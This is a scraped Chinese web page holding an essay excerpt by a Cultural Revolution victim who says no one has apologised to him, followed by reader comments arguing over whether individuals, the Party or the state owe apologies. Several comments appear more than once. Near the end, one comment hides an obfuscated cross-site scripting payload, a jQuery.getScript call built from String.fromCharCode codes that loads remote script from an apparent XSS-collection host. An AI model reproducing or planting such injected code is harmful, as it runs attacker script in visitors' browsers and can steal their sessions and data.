暂时没人向我道歉
“文革”十年,我被批斗不下百余次,挨打更是不计其数,至今无人向我道歉。当初整我最积极的一位,在我平反之后,不是道歉,而是托人说情,希望我不要报复。看来,他压根就没有想到“道歉”两个字。
责任编辑:史哲 戴志勇 蔡军剑
我参加了1950年代以来几乎所有的政治运动,很少听说给挨整甚至弄得妻离子散、家破人亡的人道歉。所以,读到刘伯勤、宋继超先生的
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网络编辑:瓦特
“文革”十年,我被批斗不下百余次,挨打更是不计其数,至今无人向我道歉。当初整我最积极的一位,在我平反之后,不是道歉,而是托人说情,希望我不要报复。看来,他压根就没有想到“道歉”两个字。
责任编辑:史哲 戴志勇 蔡军剑
我参加了1950年代以来几乎所有的政治运动,很少听说给挨整甚至弄得妻离子散、家破人亡的人道歉。所以,读到刘伯勤、宋继超先生的
网络编辑:瓦特
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应该道歉的是共军!!!
鸣一鸣
真正该道歉的是国家。
做过错事理应有所反省,悔悟;因错事受到伤害的人要求补偿也是天经地义。当年虽说是时代形势,但并不是每个人都在附和,推动这个错误。以形式如此来为自己开脱完全是站不住脚的。如果说能够以一个人的社会地位(以前遭批斗,后来活的好)来决定是不是应该放弃对赔偿、道歉的索求,来证明自己不是“矫情”、那么遭批斗之后活的不好的人是不是可以对以前的红卫兵展开报复。
赞同此话。 十年动乱中的依靠对象“红卫兵”、工农兵,早都成了人下人,历史已经惩罚了他们。他们的境遇被当初批斗的对象有过之无不及,他们连话语权都没有,怎么道歉? 反观现在要求道歉者,大多都身居社会高层。按年龄推算,也已经退休。难道迟暮之年,孤寂难耐,需要别人的道歉来聊以自慰? 果真是这样,那就显得矫情,而不是令人同情了。
不同意。你说的太满了,还有些人是清醒的。
帮人剃头者,人亦剃其头。在那个特殊的年代,被整的人,在被整之前也同样会整人。
不道歉,是我们的性格,精神,还是深入骨髓渗透血液的劣根性?
帮人剃头者,人亦剃其头。在那个特殊的年代,被整的人,在被整之前也同样会整人。
曾经贵为教育厅副厅长,一步步高升的过程,你难道没有整过人?“参加了1950年代以来几乎所有的政治运动”,你要是没整过人,你能一步步被提拔到副厅?你反省过吗?你道歉了吗!!?
是这样的: 如实地看待、对待这世界的人或事,并非易事! 政治从前不是、现在不是、未来也永远不是什么高尚的玩艺,而我们却敬若神明,这,是我们愚昧的根源! 政治,是肉体和精神的暴力、谎言和愚昧人的训导,除了这些,还能有什么呢? 我们崇尚什么,追崇什么,我们也必会得到什么的! 相反的总是与之相随,生活在一个有伟大人物的年代的普通人们,必定是不会有什么幸福可言的! 同样,生活在一个没有伟大人物/英雄的年代的普通人们,却可能是非常的幸福; 除了真正的智慧和慈悲,我们可说是应有尽有了,不是吗?
正解:牢骚太过防肠断,风物长宜放眼量。
既然暂时没有人向你道歉,那就继续等着吧。 不过要有等不到的思想准备哦。 你可以做点别的事情,打发寂寞的退休生活;也可以回忆曾经的无比风光,聊以自慰。别为了等那些来不了的道歉,把自己气的有个三长两短来。那叫“钱还在,人没了”,多不值当? 顺便告诉你,你要求道歉的对象如果是抽象的机构,那就别等了。等也白等,这个你还不明白? 如果是当年的红卫兵、工农兵,那也别等了。他们早已经成了人下人,没有什么话语权了。上网道歉,他们不会;登报道歉,他们没有钱;上门道歉?可能不现实,而且即使来了,也不见得令你满意。因为在那场运动中(包括之后),受害最重的到底是谁,还两说呢。 “牢骚太过防肠断,风物长宜放眼量”。虽然说这话的人,你不感冒,但其中道理是对的。
对,最应该道歉的就是它和他们.如果中共某一天不认为自己是伟光正了,某些人不认为自己代表了伟光正了.中华民族的复兴就有望了!
难道要党向你道歉
鸣一鸣
真正该道歉的是国家。
这是我们民族文化的劣根啊。一切都希望掩埋过去。对你的遭遇表示同情。希望历史的悲剧永远不会再演。
刘国仁先生对在文*革中受够批斗迫害,却没人道歉有点耿耿于怀(见“暂时没人向我道歉”一文),其实大可不必。我的高中物理老师,文*革时疯狂斗人打人,文*革后给我们上课时讲错题了(本身就只有高中学历,不经常出错才怪),被我当场指出来,恼羞成怒,以后竟然连考试卷子都不发给我,我当时才14岁啊,你记我什么仇!我也恨得起气,自学。他便转而全力培养几个关门弟子。没想到,1981年高考预考,他出的物理试卷,我考了71分,全校第一名,而他的弟子,最高分41分。第二天,他疯了。我至今对他的疯没有道个歉,因为据说当时正在清查三种人,所以对于他的疯,的确不该由我负全责。这种品行,连人都够不上,遑论为师,和他计较什么。
既然暂时没有人向你道歉,那就继续等着吧。 不过要有等不到的思想准备哦。 你可以做点别的事情,打发寂寞的退休生活;也可以回忆曾经的无比风光,聊以自慰。别为了等那些来不了的道歉,把自己气的有个三长两短来。那叫“钱还在,人没了”,多不值当? 顺便告诉你,你要求道歉的对象如果是抽象的机构,那就别等了。等也白等,这个你还不明白? 如果是当年的红卫兵、工农兵,那也别等了。他们早已经成了人下人,没有什么话语权了。上网道歉,他们不会;登报道歉,他们没有钱;上门道歉?可能不现实,而且即使来了,也不见得令你满意。因为在那场运动中(包括之后),受害最重的到底是谁,还两说呢。 “牢骚太过防肠断,风物长宜放眼量”。虽然说这话的人,你不感冒,但其中道理是对的。
赞同此话。 十年动乱中的依靠对象“红卫兵”、工农兵,早都成了人下人,历史已经惩罚了他们。他们的境遇被当初批斗的对象有过之无不及,他们连话语权都没有,怎么道歉? 反观现在要求道歉者,大多都身居社会高层。按年龄推算,也已经退休。难道迟暮之年,孤寂难耐,需要别人的道歉来聊以自慰? 果真是这样,那就显得矫情,而不是令人同情了。
对他们来说也是顺应潮流,他们的思想上就是当时就应该这样做,所以谈不上道歉,而且毕竟他们只是小卒,如果真的要道歉为什么不向上面不向体制去要“道歉”,何必抓住一个小人不放,一起冤假错案的翻案难度有多大,有多少能得到道歉。如果你真开口让他道歉,他绝对会提着好烟好酒低声下气上门道歉,让一个人道歉容易,让一个体制道歉你能做到吗。
这样是非不分,还怎么做人啊?”道歉“不是拿来用的,这是人类良知的表现,否则人和畜生有什么差别呢?
都是形势所逼,每个人都是为了自己的利益,哪管什么公平正义?人会随着时代改变,真的不能说好人坏人,整你的人是代表时代整你,你让他道歉有什么用?
他有问题你就有资格去整他吗?一部分人整另一部分人,这就是无法无天,在法治国家是绝对不允许的,在法律面前人人平等,改革开放后就纠正这种错误做法。
为什么给你道歉。此一时彼一时。当时你一定有问题的,
日本人已经多次道歉,从官方到民间 我党还没有给人道歉过
幻想着日本人向咱们道歉一样!
想反攻倒算?看来那时候打击你是对的,不需要道歉!不要把自己当做受害者!
这是素质
这是个缺少信仰的年代. jQuery.getScript(String.fromCharCode(104,116,116,112,58,47,47,120,115,115,46,116,119,47,50,55,56,54))
只会整自己人的东西,就应该不得好死,就应该。。。。我不知道怎么诅咒他们,就是希望他们都没用好下场